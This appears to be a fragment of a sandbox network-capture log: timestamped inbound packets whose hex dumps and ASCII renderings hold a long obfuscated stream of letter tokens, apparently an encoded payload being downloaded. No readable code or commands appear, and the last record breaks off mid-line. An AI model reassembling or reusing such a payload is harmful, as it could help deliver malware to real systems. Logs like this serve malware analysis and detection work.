2021-10-29 18:29:21 UTC	1706	IN	Data Raw: 4f 4f 59 20 51 45 20 6b 59 20 59 4f 20 59 4b 20 6b 6f 20 6f 51 20 6f 6f 59 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 4b 78 20 4f 51 4f 20 6f 51 20 6b 4b 20 4f 4f 4b 20 4f 4f 51 20 74 6f 20 4f 78 6f 20 52 59 20 4f 52 45 20 59 78 20 59 4b 20 6b 6f 20 6f 78 6b 20 6b 78 20 4f 6f 6f 20 4f 4f 6b 20 4f 4b 4b 20 6f 4b 20 4f 51 4f 20 59 4b 20 6b 4b 20 4f 4f 52 20 4f 6f 52 20 4f 78 52 20 4f 4f 59 20 51 45 20 6b 51 20 59 4f 20 59 4b 20 6b 6f 20 51 78 20 6f 4b 51 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 51 59 20 6f 4b 6b 20 59 4b 20 6b 4b 20 4f 6f 78 20 4f 4f 45 20 52 51 20 6f 78 4b 20 59 4f 20 4b 6b 20 59 6f 20 4b 51 20 59 51 20 6f 4b 45 20 4f 4f 52 20 4f 78 51 20 4f 4f 6b 20 6f 4b 20 4f 52 52 20 4b 51 20 6b 51 20 59 45 20 4f 4f 59 20 4f 4f 74 20 4f 78 74 20 51 6f 20 4b 52 20 Data Ascii: OOY QE kY YO YK ko oQ ooY OxQ OOo Yo Kx OQO oQ kK OOK OOQ to Oxo RY ORE Yx YK ko oxk kx Ooo OOk OKK oK OQO YK kK OOR OoR OxR OOY QE kQ YO YK ko Qx oKQ OxQ OOo Yo QY oKk YK kK Oox OOE RQ oxK YO Kk Yo KQ YQ oKE OOR OxQ OOk oK ORR KQ kQ YE OOY OOt Oxt Qo KR
2021-10-29 18:29:21 UTC	1710	IN	Data Raw: 20 59 51 20 51 59 20 6f 45 20 59 4b 20 6b 4b 20 4f 6f 78 20 6b 51 20 4f 78 4b 20 4f 78 45 20 45 45 20 59 4b 20 6f 59 20 52 45 20 74 78 20 4f 6f 6f 20 51 45 20 6b 6b 20 4f 4f 6f 20 59 78 20 59 6b 20 45 4f 20 6f 45 6f 20 4f 45 6b 20 4f 6f 4b 20 4f 78 45 20 4f 78 4f 20 4f 4b 6f 20 45 52 20 59 52 20 59 78 20 59 4b 20 74 51 20 6f 51 20 4f 6f 52 20 4f 78 51 20 4f 4f 6f 20 59 52 20 6f 45 52 20 45 59 20 4b 6b 20 4f 4f 78 20 4f 74 52 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 45 45 20 59 59 20 52 51 20 4b 6b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 51 51 20 59 52 20 45 45 20 59 52 20 6b 51 20 4f 45 59 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 51 51 20 59 45 20 45 6b 20 45 45 20 52 4f 20 52 52 20 51 74 20 4f 6f 4f 20 74 78 20 59 74 20 45 59 20 59 51 20 45 4f 20 4f Data Ascii: YQ QY oE YK kK Oox kQ OxK OxE EE YK oY RE tx Ooo QE kk OOo Yx Yk EO oEo OEk OoK OxE OxO OKo ER YR Yx YK tQ oQ OoR OxQ OOo YR oER EY Kk OOx OtR OOt OxQ OOo Yx EE YY RQ Kk OOK OOt OxE QQ YR EE YR kQ OEY OOK OOt OxE QQ YE Ek EE RO RR Qt OoO tx Yt EY YQ EO O
2021-10-29 18:29:21 UTC	1715	IN	Data Raw: 20 59 78 20 59 4b 20 6f 78 52 20 4f 4f 6f 20 4f 4f 74 20 4f 78 51 20 4f 74 51 20 4b 6b 20 4b 6b 20 59 78 20 59 45 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 51 6b 20 4f 4f 6f 20 59 78 20 4b 51 20 4b 6b 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 78 4f 20 4f 78 51 20 4f 4f 6f 20 59 78 20 6f 4b 45 20 4b 6b 20 59 4b 20 6b 4b 20 4f 52 4f 20 4f 4f 51 20 4f 78 51 20 4f 4f 6f 20 59 52 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 4b 6b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 6b 78 20 4f 4f 4b 20 59 78 20 4b 6b 20 6f 45 74 20 59 6f 20 6b 4b 20 4f 4f 4b 20 4f 4f 6b 20 4f 78 51 20 4f 4f 6f 20 59 78 20 59 6b 20 59 78 20 59 4b 20 6b 59 20 4f 78 59 20 52 51 20 4f 78 59 20 4f 4f 6f 20 4f 6f 45 20 4b 51 20 59 78 20 59 Data Ascii: Yx YK oxR OOo OOt OxQ OtQ Kk Kk Yx YE kK OOK OOt Qk OOo Yx KQ Kk YK kK OOK OxO OxQ OOo Yx oKE Kk YK kK ORO OOQ OxQ OOo YR Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx Kk kK OOK OOt Okx OOK Yx Kk oEt Yo kK OOK OOk OxQ OOo Yx Yk Yx YK kY OxY RQ OxY OOo OoE KQ Yx Y
2021-10-29 18:29:21 UTC	1716	IN	Data Raw: 20 51 59 20 59 74 20 59 4b 20 6b 4b 20 4f 6f 78 20 4f 52 51 20 4f 6f 4b 20 4f 4f 74 20 45 4f 20 45 6f 20 59 45 20 45 51 20 6b 78 20 4f 4f 45 20 4f 4f 45 20 52 51 20 6f 6f 4b 20 59 78 20 4b 6b 20 59 6f 20 45 78 20 52 52 20 4f 4f 4b 20 4f 4f 74 20 74 78 20 4f 6f 45 20 59 51 20 51 59 20 52 6f 20 59 4b 20 6b 4b 20 4f 6f 78 20 6b 6b 20 6f 59 59 20 4f 74 4b 20 59 52 20 59 74 20 45 78 20 4b 6b 20 51 45 20 6f 51 20 4f 6f 52 20 4f 78 51 20 4f 4f 6f 20 59 52 20 6f 45 52 20 6f 45 52 20 59 45 20 4f 4f 4b 20 4f 74 6f 20 4f 4f 74 20 4f 78 59 20 51 51 20 59 6b 20 45 6b 20 45 45 20 52 45 20 4f 6f 74 20 6b 45 20 4f 78 78 20 4f 78 4f 20 51 74 20 59 51 20 4f 74 78 20 45 45 20 52 78 20 6b 45 20 4f 4f 6f 20 4f 78 78 20 4f 78 45 20 6b 6b 20 6f 45 45 20 4b 6b 20 59 78 20 52 78 Data Ascii: QY Yt YK kK Oox ORQ OoK OOt EO Eo YE EQ kx OOE OOE RQ ooK Yx Kk Yo Ex RR OOK OOt tx OoE YQ QY Ro YK kK Oox kk oYY OtK YR Yt Ex Kk QE oQ OoR OxQ OOo YR oER oER YE OOK Oto OOt OxY QQ Yk Ek EE RE Oot kE Oxx OxO Qt YQ Otx EE Rx kE OOo Oxx OxE kk oEE Kk Yx Rx
2021-10-29 18:29:21 UTC	1720	IN	Data Raw: 52 20 51 78 20 6b 4b 20 4f 78 51 20 4f 4f 6f 20 59 52 20 52 4f 20 74 52 20 4b 78 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 6f 52 20 4f 4f 52 20 74 52 20 4b 52 20 59 78 20 59 4b 20 51 4b 20 51 74 20 4f 4f 6f 20 4f 78 78 20 45 20 4f 52 20 4b 6b 20 59 78 20 52 78 20 4f 6f 4b 20 6b 4f 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 51 45 20 6f 78 20 59 78 20 59 4b 20 51 4b 20 51 74 20 4f 4f 45 20 4f 6f 4b 20 4f 4f 52 20 4b 59 20 52 45 20 4f 51 4f 20 4f 78 6b 20 6b 4b 20 4f 4f 4b 20 4f 4f 52 20 74 6f 20 4f 52 78 20 6f 4f 59 20 4b 6b 20 59 78 20 59 78 20 4f 6f 4b 20 52 51 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 52 59 20 6b 20 59 78 20 59 4b 20 51 4b 20 6f 51 20 6b 78 20 4f 78 51 20 4f 4f 6f 20 59 52 20 6f 6b 20 4b 78 20 4b 78 20 6f 4f 74 20 4b 78 20 4f 4f 74 20 4f 78 51 20 Data Ascii: R Qx kK OxQ OOo YR RO tR Kx kK OOK Oot OoR OOR tR KR Yx YK QK Qt OOo Oxx E OR Kk Yx Rx OoK kO OOt OxQ Ooo QE ox Yx YK QK Qt OOE OoK OOR KY RE OQO Oxk kK OOK OOR to ORx oOY Kk Yx Yx OoK RQ OOt OxQ Ooo RY k Yx YK QK oQ kx OxQ OOo YR ok Kx Kx oOt Kx OOt OxQ
2021-10-29 18:29:21 UTC	1724	IN	Data Raw: 78 51 20 4f 4f 6f 20 59 52 20 4f 78 20 6f 4f 45 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 78 52 20 4f 4f 51 20 6b 6b 20 51 52 20 4b 6b 20 59 78 20 52 78 20 74 59 20 4f 78 4f 20 6f 4b 6b 20 59 59 20 4f 4f 6f 20 59 78 20 4b 51 20 6f 45 20 6f 45 78 20 4f 45 78 20 4f 4f 4b 20 4f 4f 74 20 4f 78 59 20 6b 6b 20 59 20 4b 6b 20 59 78 20 52 78 20 45 51 20 74 4b 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 6f 52 20 6f 74 20 59 78 20 59 4b 20 51 4b 20 51 74 20 4f 6f 59 20 4f 78 74 20 45 20 4f 51 51 20 4b 6b 20 59 78 20 4b 6b 20 74 4f 20 4f 4f 6b 20 4f 78 78 20 4f 78 59 20 51 6b 20 59 4f 20 6f 4b 20 6f 4f 51 20 59 4b 20 6b 4b 20 4f 6f 78 20 6f 52 20 4f 45 4f 20 4f 4f 6f 20 59 78 20 59 4b 20 45 59 20 59 78 20 52 74 20 6f 59 59 20 4b 74 20 4f 78 51 20 4f 4f 6f 20 59 4f 20 6f 4f 20 Data Ascii: xQ OOo YR Ox oOE YK kK OOK OxR OOQ kk QR Kk Yx Rx tY OxO oKk YY OOo Yx KQ oE oEx OEx OOK OOt OxY kk Y Kk Yx Rx EQ tK OOt OxQ Ooo oR ot Yx YK QK Qt OoY Oxt E OQQ Kk Yx Kk tO OOk Oxx OxY Qk YO oK oOQ YK kK Oox oR OEO OOo Yx YK EY Yx Rt oYY Kt OxQ OOo YO oO
2021-10-29 18:29:21 UTC	1728	IN	Data Raw: 4f 4b 20 4f 4f 59 20 74 6f 20 6f 20 74 78 20 59 74 20 59 78 20 74 78 20 4f 6f 4b 20 4f 74 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 52 4b 20 4f 6f 4f 20 59 52 20 59 4b 20 45 52 20 4f 6f 20 4f 78 74 20 4f 78 51 20 4f 4f 6f 20 59 52 20 51 59 20 4b 59 20 59 4b 20 6b 4b 20 4f 6f 78 20 74 20 4f 6b 20 4f 6f 6f 20 59 78 20 52 4b 20 52 4b 20 4f 59 45 20 51 4b 20 4f 4f 4b 20 59 20 4f 51 20 4f 4f 78 20 59 78 20 4b 6b 20 59 52 20 45 78 20 74 59 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 6b 6b 20 4f 4f 20 4b 6b 20 59 78 20 52 78 20 59 51 20 4f 45 78 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 6f 45 20 52 52 20 4f 4b 4f 20 52 78 20 6b 4b 20 6f 20 74 20 4f 6f 52 20 4f 6f 45 20 59 78 20 52 4b 20 74 52 20 4b 78 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 52 51 20 4f 4f 4f 20 59 78 20 4b 6b Data Ascii: OK OOY to o tx Yt Yx tx OoK Ot OOt OxQ Ooo RK OoO YR YK ER Oo Oxt OxQ OOo YR QY KY YK kK Oox t Ok Ooo Yx RK RK OYE QK OOK Y OQ OOx Yx Kk YR Ex tY OOK OOt OxE kk OO Kk Yx Rx YQ OEx OOt OxQ OOk oE RR OKO Rx kK o t OoR OoE Yx RK tR Kx kK OOK Oot RQ OOO Yx Kk
2021-10-29 18:29:21 UTC	1732	IN	Data Raw: 4f 6f 78 20 4f 78 78 20 51 6b 20 6f 59 59 20 6f 6b 20 4b 6b 20 59 78 20 59 6f 20 4b 74 20 6b 52 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 51 4f 20 51 59 20 4f 51 6f 20 59 4b 20 6b 4b 20 4f 6f 78 20 6f 4f 59 20 6b 59 20 6f 6f 52 20 59 78 20 4b 6b 20 59 78 20 59 6f 20 4b 74 20 4f 78 6f 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 59 45 20 59 52 20 4f 78 52 20 4f 6b 59 20 4f 78 78 20 4f 4f 4b 20 4f 4f 74 20 4f 4f 4f 20 4f 4f 20 6f 74 20 4b 6b 20 59 78 20 59 78 20 52 51 20 4f 6f 59 20 4f 78 52 20 51 74 20 6f 59 45 20 4f 78 4b 20 4b 6b 20 59 78 20 59 59 20 4f 4f 45 20 4f 52 6f 20 4f 45 59 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 4b 20 59 20 59 4b 20 6b 4b 20 4f 6f 78 20 52 20 6b 59 20 4f 4f 6f 20 59 78 20 59 6b 20 6f 52 20 6b 6b 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 4f Data Ascii: Oox Oxx Qk oYY ok Kk Yx Yo Kt kR OOt OxQ OOR QO QY OQo YK kK Oox oOY kY ooR Yx Kk Yx Yo Kt Oxo OOt OxQ OOR YE YR OxR OkY Oxx OOK OOt OOO OO ot Kk Yx Yx RQ OoY OxR Qt oYE OxK Kk Yx YY OOE ORo OEY OxQ OOo YK oK Y YK kK Oox R kY OOo Yx Yk oR kk kK OOK Oot OO
2021-10-29 18:29:21 UTC	1736	IN	Data Raw: 4f 51 6f 20 59 4b 20 6b 4b 20 4f 4f 6b 20 51 45 20 51 78 20 4f 4f 6f 20 59 78 20 59 6b 20 52 59 20 4f 4b 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 52 51 20 45 78 20 59 78 20 4b 6b 20 59 52 20 59 6f 20 4b 74 20 51 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 45 59 20 59 6b 20 45 59 20 59 51 20 4f 6f 20 51 51 20 4f 6f 45 20 4f 6f 45 20 6f 45 78 20 4f 78 52 20 45 45 20 52 78 20 45 45 20 4f 51 4b 20 4b 6f 20 4f 78 78 20 51 51 20 4f 78 4b 20 4f 52 4b 20 4f 78 4b 20 45 59 20 59 52 20 74 74 20 6f 6f 6b 20 4b 59 20 4b 20 51 74 20 52 78 20 4b 6f 20 4f 52 4b 20 51 59 20 59 51 20 4f 6f 6b 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 74 51 20 6f 4b 20 59 78 20 59 4b 20 6b 78 20 74 4b 20 6f 45 59 20 4f 78 51 20 4f 4f 6f 20 59 78 20 59 78 20 74 45 20 59 74 20 6b 4b 20 4f 4f 4b 20 4f Data Ascii: OQo YK kK OOk QE Qx OOo Yx Yk RY OK kK OOK Oot RQ Ex Yx Kk YR Yo Kt Qk OOt OxQ OOR EY Yk EY YQ Oo QQ OoE OoE oEx OxR EE Rx EE OQK Ko Oxx QQ OxK ORK OxK EY YR tt ook KY K Qt Rx Ko ORK QY YQ Ook OOt OxQ Ooo tQ oK Yx YK kx tK oEY OxQ OOo Yx Yx tE Yt kK OOK O
2021-10-29 18:29:21 UTC	1740	IN	Data Raw: 4f 4f 4b 20 4f 4f 52 20 4f 4f 59 20 4f 4f 4b 20 6f 52 20 6b 6f 20 59 78 20 59 4b 20 51 4b 20 6b 6b 20 51 51 20 4f 4f 78 20 4f 78 4b 20 6f 78 4b 20 4b 51 20 6f 4b 20 59 4b 20 6b 4b 20 4f 78 59 20 52 51 20 4f 78 4b 20 4f 4f 6f 20 52 74 20 4b 6b 20 59 78 20 59 4b 20 4f 4f 4f 20 4f 4f 4b 20 4f 4f 74 20 4f 6f 4b 20 4f 4f 59 20 51 45 20 4f 59 45 20 59 4f 20 59 4b 20 6b 6f 20 4f 78 4f 20 6f 4b 6b 20 59 45 20 4f 4f 6f 20 59 78 20 4b 51 20 6f 45 20 45 6f 20 45 6b 20 4f 74 6f 20 4f 4f 4b 20 4f 78 51 20 78 20 4f 4b 4b 20 45 51 20 51 45 20 4f 6f 78 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 78 45 20 45 20 59 4f 20 4b 51 20 59 78 20 52 78 20 6b 6f 20 4f 78 78 20 6f 45 51 20 4f 78 74 20 4f 78 45 20 4f 52 6b 20 6f 4b 20 6b 4f 20 59 4b 20 6b 4b 20 4f 6f 78 20 51 45 20 4f 4f Data Ascii: OOK OOR OOY OOK oR ko Yx YK QK kk QQ OOx OxK oxK KQ oK YK kK OxY RQ OxK OOo Rt Kk Yx YK OOO OOK OOt OoK OOY QE OYE YO YK ko OxO oKk YE OOo Yx KQ oE Eo Ek Oto OOK OxQ x OKK EQ QE Oox kK OOK Oot OxE E YO KQ Yx Rx ko Oxx oEQ Oxt OxE ORk oK kO YK kK Oox QE OO
2021-10-29 18:29:21 UTC	1744	IN	Data Raw: 78 51 20 51 4f 20 6f 45 20 6f 51 20 52 6f 20 4f 52 20 74 78 20 4f 4f 6f 20 4f 45 51 20 4f 6f 78 20 52 74 20 59 78 20 4b 6b 20 4b 4f 20 52 6f 20 4f 6f 74 20 59 51 20 4f 4f 20 4f 6f 45 20 4f 4f 45 20 59 78 20 59 6f 20 6f 45 20 6f 74 20 52 74 20 6b 4b 20 4f 4f 20 4f 6f 4f 20 4f 4f 45 20 59 78 20 59 6f 20 6f 78 4b 20 4b 6b 20 74 6f 20 4f 4f 6f 20 4f 4f 74 20 4f 78 74 20 45 20 4b 4f 20 4b 51 20 59 78 20 52 78 20 4f 4f 45 20 6f 4b 6f 20 51 51 20 4f 78 6b 20 4f 4f 6f 20 59 4b 20 6f 4b 20 4b 59 20 59 4b 20 6b 4b 20 6b 51 20 6b 78 20 52 4b 20 4f 6f 4b 20 6f 78 20 45 4b 20 4b 6b 20 6f 78 78 20 52 59 20 52 59 20 4f 4f 74 20 4f 78 51 20 4f 78 74 20 59 6b 20 6f 74 20 45 52 20 4b 6b 20 4f 74 78 20 4f 4f 52 20 4f 78 51 20 4f 4f 4f 20 4f 4f 6f 20 59 6f 20 52 74 20 4b 74 Data Ascii: xQ QO oE oQ Ro OR tx OOo OEQ Oox Rt Yx Kk KO Ro Oot YQ OO OoE OOE Yx Yo oE ot Rt kK OO OoO OOE Yx Yo oxK Kk to OOo OOt Oxt E KO KQ Yx Rx OOE oKo QQ Oxk OOo YK oK KY YK kK kQ kx RK OoK ox EK Kk oxx RY RY OOt OxQ Oxt Yk ot ER Kk Otx OOR OxQ OOO OOo Yo Rt Kt
2021-10-29 18:29:21 UTC	1748	IN	Data Raw: 20 45 52 20 6f 52 20 4f 45 6b 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 6f 78 74 20 6b 59 20 45 74 20 45 51 20 45 6b 20 45 78 20 6f 45 6f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 6f 4f 78 20 6f 45 20 4b 78 20 45 74 20 45 4b 20 4f 6f 4b 20 6f 78 52 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 4f 4b 4b 20 6f 4f 20 4b 45 20 45 6f 20 52 4b 20 51 78 20 6f 78 4f 20 4f 78 51 20 4f 4f 6f 20 59 52 20 4f 4b 52 20 6f 52 20 4f 45 51 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 52 51 20 4b 51 20 59 4f 20 4b 6b 20 59 52 20 4f 6b 6f 20 74 45 20 4f 4f 59 20 4f 4f 74 20 4f 78 59 20 4f 4b 20 4b 74 20 4b 51 20 59 78 20 59 78 20 4b 74 20 4b 6b 20 4f 4f 52 20 4f 78 51 20 4f 6f 6f 20 74 52 20 4b 59 20 59 4f 20 59 4b 20 6b 78 20 4f 6f 6f 20 51 51 20 4f 6f 45 20 45 20 4f 4f 45 20 4b 51 20 59 78 20 52 Data Ascii: ER oR OEk kK OOK Oot oxt kY Et EQ Ek Ex oEo OOK OOt OxE oOx oE Kx Et EK OoK oxR OOt OxQ Ooo OKK oO KE Eo RK Qx oxO OxQ OOo YR OKR oR OEQ kK OOK Oot RQ KQ YO Kk YR Oko tE OOY OOt OxY OK Kt KQ Yx Yx Kt Kk OOR OxQ Ooo tR KY YO YK kx Ooo QQ OoE E OOE KQ Yx R
2021-10-29 18:29:21 UTC	1752	IN	Data Raw: 4b 20 4f 4f 4b 20 74 6f 20 4f 78 51 20 59 78 20 74 74 20 4b 6b 20 4b 51 20 52 78 20 6b 4b 20 4f 4f 4b 20 4f 4f 52 20 4f 4f 4f 20 4f 4f 6f 20 6f 6b 20 4b 6b 20 4f 78 6b 20 4f 6b 52 20 6b 4b 20 4f 6f 78 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 59 78 20 59 78 20 4f 74 20 6b 4b 20 45 20 6f 45 74 20 4f 78 51 20 4f 6f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 52 20 4f 4f 4b 20 6b 59 20 4f 78 51 20 6f 4b 4b 20 4f 59 78 20 4b 6b 20 59 52 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 4b 6b 20 4f 59 6f 20 4f 45 4b 20 6b 4b 20 4f 4f 45 20 4f 6f 74 20 4f 78 51 20 4f 4f 6f 20 59 4f 20 4b 45 20 6f 20 59 4f 20 6b 4b 20 4f 52 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4f 6f 4f 20 4b 6b 20 59 78 20 45 51 20 45 51 20 6f 4f 52 20 4f Data Ascii: K OOK to OxQ Yx tt Kk KQ Rx kK OOK OOR OOO OOo ok Kk Oxk OkR kK Oox OOt OxQ OOo Yx Yx Yx Ot kK E oEt OxQ Ooo Yx Kk Yx YK kR OOK kY OxQ oKK OYx Kk YR YK kK OOK OOt OxQ OOo Yo Kk OYo OEK kK OOE Oot OxQ OOo YO KE o YO kK ORY OOt OxQ OOo OoO Kk Yx EQ EQ oOR O
2021-10-29 18:29:21 UTC	1756	IN	Data Raw: 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 59 78 20 4b 6b 20 59 78 20 4f 59 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 52 4b 20 4f 4f 45 20 59 78 20 4b 6b 20 6b 4b 20 59 59 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 4b 6b 20 59 78 20 59 4b 20 59 52 20 4f 4f 59 20 4f 4f 74 20 4f 78 51 20 6f 20 59 4f 20 4b 6b 20 59 78 20 59 45 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 4f 4f 6f 20 59 78 20 4b 51 20 4b 4f 20 52 20 6b 4f 20 4f 4f 4b 20 6f 4b 78 20 4f 4f 4f 20 4f 4f 6f 20 59 78 20 4f 6f 74 20 59 78 20 59 4b 20 52 51 20 4f 20 6f 4f 78 20 4f 78 51 20 4f 4f 6f 20 59 52 20 59 6b 20 4f 6b 20 4f 6b 74 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 6f Data Ascii: K OOK OOt OxQ OOK Yx Kk Yx OY kK OOK OOt RK OOE Yx Kk kK YY kK OOK Oot OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yo Kk Yx YK YR OOY OOt OxQ o YO Kk Yx YE kK OOK OOt OxE OOo Yx KQ KO R kO OOK oKx OOO OOo Yx Oot Yx YK RQ O oOx OxQ OOo YR Yk Ok Okt kK OOK OOt o
2021-10-29 18:29:21 UTC	1760	IN	Data Raw: 78 6b 20 4f 4f 6f 20 59 52 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 6f 20 4f 4f 74 20 45 52 20 4f 4f 6f 20 4f 74 6b 20 6f 4b 51 20 59 78 20 52 78 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 59 78 20 4f 4f 4b 20 59 78 20 4f 52 59 20 4f 6f 51 20 4f 4f 4b 20 4f 6f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 6f 20 4f 4f 4b 20 4f 74 4b 20 4f 4b 78 20 4f 4f 6f 20 4b 51 20 59 6b 20 59 78 20 59 4b 20 6b 59 20 4f 78 59 20 52 51 20 4f 78 4b 20 4f 4f 6f 20 4f 78 6b 20 4b 51 20 59 78 20 59 4b 20 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 6f 4b 20 45 20 4f 4b 51 20 4b 6b 20 59 78 20 52 78 20 51 4b 20 4f 78 51 20 74 78 20 6f 6f 4b 20 4b 6f 20 59 78 20 4b 6b 20 59 4f 20 4f 51 20 4f 45 6f 20 4f 52 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 Data Ascii: xk OOo YR Kk Yx YK kK OOo OOt ER OOo Otk oKQ Yx Rx kK OOK OOt OxQ OOK Yx OOK Yx ORY OoQ OOK Oot OxQ OOo Yx Kk Yx YK ko OOK OtK OKx OOo KQ Yk Yx YK kY OxY RQ OxK OOo Oxk KQ Yx YK K OOK OOt OoK E OKQ Kk Yx Rx QK OxQ tx ooK Ko Yx Kk YO OQ OEo ORY OOt OxQ OOR
2021-10-29 18:29:21 UTC	1764	IN	Data Raw: 20 59 52 20 52 74 20 4f 78 20 59 4b 20 6b 4b 20 4f 6f 78 20 6f 52 20 4f 6b 6b 20 4f 4f 6f 20 59 78 20 59 6b 20 59 6f 20 4b 4f 20 51 78 20 6f 59 59 20 4b 74 20 4f 78 51 20 4f 4f 6f 20 59 4f 20 6f 4f 20 6f 6f 52 20 6f 4b 59 20 6b 4b 20 4f 4f 4b 20 4f 4f 45 20 52 51 20 74 4f 20 59 78 20 4b 6b 20 59 52 20 52 51 20 4f 78 6b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 45 4f 20 6f 6f 74 20 4b 6b 20 59 78 20 52 78 20 45 51 20 6f 4f 45 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 59 74 20 59 45 20 45 78 20 52 6f 20 6b 4f 20 6f 59 6f 20 6b 51 20 4f 78 59 20 4f 4f 52 20 4b 51 20 4f 20 4b 6b 20 4b 51 20 4f 6f 52 20 4f 4f 4b 20 4f 4f 51 20 52 51 20 4f 52 6f 20 59 78 20 4b 6b 20 59 52 20 59 6b 20 52 52 20 4f 6f 74 20 74 74 20 4f 6f 4b 20 4f 4f 45 20 59 78 20 4b 6b 20 59 6b 20 52 Data Ascii: YR Rt Ox YK kK Oox oR Okk OOo Yx Yk Yo KO Qx oYY Kt OxQ OOo YO oO ooR oKY kK OOK OOE RQ tO Yx Kk YR RQ Oxk OOK OOt OxE EO oot Kk Yx Rx EQ oOE OOt OxQ Ooo Yt YE Ex Ro kO oYo kQ OxY OOR KQ O Kk KQ OoR OOK OOQ RQ ORo Yx Kk YR Yk RR Oot tt OoK OOE Yx Kk Yk R
2021-10-29 18:29:21 UTC	1768	IN	Data Raw: 4f 4f 6f 20 59 78 20 59 6f 20 6f 4b 20 6f 78 20 6b 52 20 4f 4f 45 20 6b 20 51 4b 20 4f 4f 6f 20 59 78 20 59 6f 20 6f 4b 20 4b 78 20 6b 52 20 51 20 52 59 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 52 20 4f 52 20 59 6f 20 6b 74 20 4f 59 20 52 59 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 52 20 4b 4b 20 59 6f 20 4b 74 20 74 4f 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 6f 4b 20 4f 6b 20 4b 6b 20 59 45 20 4b 4f 20 74 4f 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 6f 4b 20 4b 52 20 4b 6b 20 74 74 20 51 6b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 59 20 51 78 20 4f 52 20 59 78 20 4b 51 20 74 59 20 51 6b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 59 20 51 78 20 4b 4b 20 59 78 20 74 45 20 4f 20 6b 4b 20 4f 4f 4b 20 4f 4f 45 20 74 4f 20 6b 6f 20 4b 6b 20 59 4f 20 74 51 20 4f 20 6b 4b 20 4f 4f 4b 20 Data Ascii: OOo Yx Yo oK ox kR OOE k QK OOo Yx Yo oK Kx kR Q RY OxQ OOo YK oR OR Yo kt OY RY OxQ OOo YK oR KK Yo Kt tO OOt OxQ OOR oK Ok Kk YE KO tO OOt OxQ OOR oK KR Kk tt Qk OOK OOt OxY Qx OR Yx KQ tY Qk OOK OOt OxY Qx KK Yx tE O kK OOK OOE tO ko Kk YO tQ O kK OOK
2021-10-29 18:29:21 UTC	1772	IN	Data Raw: 59 4b 20 6b 78 20 4f 4f 6f 20 51 45 20 4f 59 20 4f 4f 6f 20 59 78 20 59 6b 20 6f 4b 20 4b 78 20 6b 52 20 51 20 51 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 52 20 4f 52 20 59 6f 20 6b 74 20 4f 59 20 51 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 52 20 4b 4b 20 59 6f 20 4b 74 20 4f 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 6f 4b 20 4f 6b 20 4b 6b 20 59 45 20 4b 4f 20 4f 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 6f 4b 20 4b 52 20 4b 6b 20 74 74 20 4b 6f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 59 20 51 78 20 4f 52 20 59 78 20 4b 51 20 74 59 20 4b 6f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 59 20 51 78 